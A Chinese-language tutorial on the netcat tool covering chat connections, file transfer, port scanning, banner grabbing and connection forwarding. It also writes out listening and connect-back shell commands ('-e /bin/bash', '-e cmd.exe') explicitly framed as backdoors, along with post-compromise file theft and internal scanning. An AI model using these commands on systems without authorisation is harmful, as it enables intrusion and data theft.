介绍
Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。内建有很多实用的工具。
netcat的下载安装
- Windows:https://eternallybored.org/misc/netcat/解压安装包,直接运行,无需安装
-
Linux:yum install nc
nc的使用场景
1. netcat基本使用
i. 使用nc互相通信
- 创建一个服务端方法
nc -l -p [localhost]
-l 表示监听
-p 加监听端口号
- 创建一个客户端方法(连接服务端)
nc remote_ip remote_port
这样就相当于建立了一个对话连接,双方可以互相通信,但不能对机器执行相关操作
用我的两台笔记本测试下:
服务端(内网IP:192.168.0.111):
服务端操作,启动一个连接并监听4444端口
客户端(内网IP:192.168.0.107):
客户端操作
ii. 将服务端的shell返回
创建一个服务端方法:
nc -l -p [localhost] -e cmd.exe
nc -l -p [localhost] -e /bin/bash
创建一个客户端(连接服务端):
nc remote_ip remote_port
下面进行演示
-
windows为服务端/被控制端:
服务端(192.168.0.107):
Windows做服务端
客户端(192.168.0.111):
客户端可以控制服务端
执行ipconfig显示的ip地址也是服务端的地址192.168.0.107 - Linux为服务端/被控制端:
服务端以我的阿里云主机为例,之前做webrtc实验,安全组开放了3478端口,现在以此端口用作服务端的监听端口,并返回/bin/bash:
阿里云centos7主机监听3478端口
客户端:
客户端返回服务端bash
后面我在客户端尝试执行了init 6命令,然后我的阿里云主机就直接重启了,由此可见,非常危险。
2. netcat文件传输
使用场景
- 取证
当目标机器被黑客攻击之后,取证人员可以利用nc的文件传输功能来获取目标机器上的文件内容。避免直接在目标机器上进行操作造成取证的误差。 - 单纯获取目标机器敏感文件
当目标机器上有一些文件内容,无法正常下载时,可以利用nc进行文件传输。
为什么可以直接利用nc进行文件传输呢?
nc中的数据传输 使用的是标准的输入、输出流,所以可以直接利用命令行来进行操作。
服务端向客户端传送文件
创建一个服务器端方法(发文件):
nc -l -p [localport] > outfile
创建一个客户端方法(连接服务端)(收文件):
nc remote_ip remote_port < infile
举例:
在服务端桌面创建文件flag.txt,并写入以下内容:
发文件flag.txt
客户端收文件:
客户端收文件命令
客户端收到的文件内容
客户端也可以向服务端发送文件,双方建立连接的时候,输入输出箭头相反就行了
- 注意:如果此时服务端并没有准备好连接,而客户端已经使用nc进行连接,那么客户端会一直等待下去,直到连接上服务端,造成一种“假死”状态。
解决方法:设置等待时间。
nc -w3 [ip] [port]
设置等待3秒钟,超过3秒钟,客户端直接关闭等待连接。
3. netcat信息探测
使用场景
- 目标内网的扫描
当获得目标权限之后,如果目标没有任何途径可以对内网进行探测,但此时刚好具有一个netcat的话,就可以使用netcat进行内网ip和端口的扫描。 - 单纯对某个目标进行端口探测
当手头没有任何探测工具可以使用netcat进行端口探测 - 对目标的服务banner进行抓取
通过netcat对目标端口进行探测。
端口探测:
举例:nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port]
-v 表示对错误进行详细输出
-n 不对目标机器进行DNS解析
-z zero I/O 模式,专用于端口扫描。表示对目标IP发送的数据表中不包含任何payload,这样做可以加快扫描的速度。
-w1 超时设置为1秒。
banner信息抓取
方法:
echo “ ” | nc -v -n -w1 [target_ip] [start_target_port-stop_target_port]
举例:
获取banner信息
4. netcat建立后门
使用场景:
1、获取目标的命令执行权限
当目标机器上存在netcat之后,可以使用netcat建立后门,来实现执行目标命令的功能
为什么可以使用netcat建立后门,并返回操作结果?
原理:netcat一切数据时通过标准输入/输出流实现的,所以可以利用netcat的命令行进行后门建立,并传输结果信息。
i. Windows建立后门的方法
监听型后门
nc -l -p 4444 -e cmd.exe
连接型后门
nc [remote_ip] [remote_port] -e cmd.exe
ii. Linux建立后门的方法
监听型后门
nc -l -p 4444 -e /bin/bash
连接型后门
nc [remote_ip] [remote_port] -e /bin/bash
5. netcat命令参数
C:\Users\Administrator\Desktop>nc64.exe.lnk -h
[v1.11 NT www.vulnwatch.org/netcat/]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
-d 脱离命令窗口,在后台运行,常用于后门建立过程
-e 执行某个程序,常用于后门建立过程
-G gateway 设置网关,常用于突破内网限制
-g num 路由跳数
-i sec 设置发送每一行数据的时间间隔
-l 设置netcat处于监听状态等待连接
-L 设置netcat处于监听状态等待连接,当客户端断开,服务端依旧回到等待状态
-n 设置netcat只识别ip地址,不在进行DNS解析
-o file 设置传输十六进制的数据
-p port 设置本地监听的端口号
-r 设置netcat随机化的端口号
-s addr 设置netcat源地址
-t 回复telnet的请求数据包
-u 设置netcat使用UDP模式
-v 显示错误提示信息
-w secs 设置连接超时秒数
-z 设置扫描模式,表示发送的数据包中不包含任何payload
6. netcat连接转发
为什么需要连接转发?突破某些特殊情况下的连接限制,以及处理一些特殊情况。
echo nc [target] [port] > delay.bat
nc -l -p [localport] -e delay.bat
当有客户端连接该服务端时,连接的客户端和通过服务端连接到 target port上实现了连接转发功能。(端口转发)
网友评论